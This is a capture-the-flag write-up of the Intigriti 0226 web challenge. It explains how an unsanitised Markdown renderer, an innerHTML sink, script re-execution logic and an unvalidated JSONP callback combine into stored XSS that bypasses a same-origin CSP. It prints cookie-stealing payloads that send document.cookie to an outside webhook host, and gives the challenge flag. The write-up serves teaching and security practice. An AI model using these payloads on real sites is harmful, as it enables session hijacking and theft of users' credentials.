Write-up: Intigriti 0226 challenge

Intigriti 0226 challenge by d3dn0v4
This is a brief story of how I approached and solved the Intigriti 0226 challenge from identifying the weak points to chaining them into a working.
Let’s Get Started
In this challenge, you are provided with a file containing the source code of the web application used for the challenge. Before diving into the attack plan, let’s break down what this web app actually does.
- Part 0x1
In file app.py, the Markdown renderer uses regex substitutions but treats the original input as trusted HTML:
def render_markdown(content):
html_content = content
html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
html_content = html_content.replace('\n\n', '</p><p>')
html_content = f'<p>{html_content}</p>'
return html_content
Because there is no HTML sanitization/escaping, an attacker can include raw HTML tags including <script> in content, and they will remain present in the output.
- Part 0x2
In preview.js, the application inserts the server rendered HTML directly into the page:
fetch('/api/render?id=' + postId)
.then(function(response) {
if (!response.ok) throw new Error('Failed to load');
return response.json();
})
.then(function(data) {
const preview = document.getElementById('preview');
preview.innerHTML = data.html;
processContent(preview);
})
.catch(function(error) {
document.getElementById('preview').innerHTML = '<p class="error">Failed to load content.</p>';
});
This is a DOM XSS sink because attacker controlled HTML is parsed and inserted into the DOM.
- Part 0x3
Even if scripts inserted via innerHTML do not always execute automatically in some cases, the app includes logic that explicitly executes them by creating new <script> elements:
if (script.src && script.src.includes('/api/')) {
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript);
}
This ensures execution for any injected <script src=""> matching /api/. The site used a CSP similar to script-src 'self'. That sounds restrictive, but it still allows scripts from the same origin. Since /api/ endpoints are hosted on the same origin, scripts loaded from /api/... are fully allowed by CSP.
- Part 0x4
The JSONP endpoint directly injects callback into JavaScript without proper validation:
@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')
if '<' in callback or '>' in callback: # Filter ONLY < and >
callback = 'handleData'
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')
Filtering only < and > is insufficient because JavaScript injection does not require HTML tags. The attacker can supply a callback that is actually arbitrary JavaScript:
Example request
/api/jsonp?callback=fetch('https://test.com/'+document.cookie)//
Resulting response
fetch('https://test.com/'+document.cookie)//({})
Because the endpoint returns application/javascript, this is executed when loaded via a `<script src=>` tag
Now that we understand how it works, let’s break it.
Solution
Attacker creates a post containing a <script> tag pointing to /api/jsonp with a malicious callback payload. The preview feature renders content into the DOM via innerHTML. Client-side code re-inserts /api/ scripts by creating new <script> elements, ensuring execution.The JSONP endpoint returns attacker-controlled JavaScript, which runs under the application origin. Sensitive data (e.g., moderator cookies) can be exfiltrated to an attacker-controlled endpoint.
payload : <script src="/api/jsonp?callback=fetch('https://webhookexample.com/?c='.concat(document.cookie))//"></script>
Exploit Steps:
Register and log in.
Create a post and inject the payload above into the post content.
Click “Report to Moderator”
Observe the webhook receiving the victim’s document.cookie.
The application is vulnerable to stored DOM-based XSS due to an unsafe Markdown renderer that outputs attacker-controlled HTML, which is then inserted into the DOM using innerHTML. The impact is escalated by client-side logic that explicitly re-executes <script> tags referencing /api/ paths. An additional flaw in /api/jsonp allows JavaScript injection via an unvalidated callback parameter, enabling same-origin script execution under script-src 'self'.
This chain leads to account compromise and data exfiltration moderator cookies when privileged users view malicious content.
Final Flag
INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}

![[Bug Bounty] Race Condition: Redeeming Single-Use Coupon Multiple Times](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1770116456998%2F629ff44d-4a0a-4445-91bf-c37d3e84c104.jpeg&w=3840&q=75)
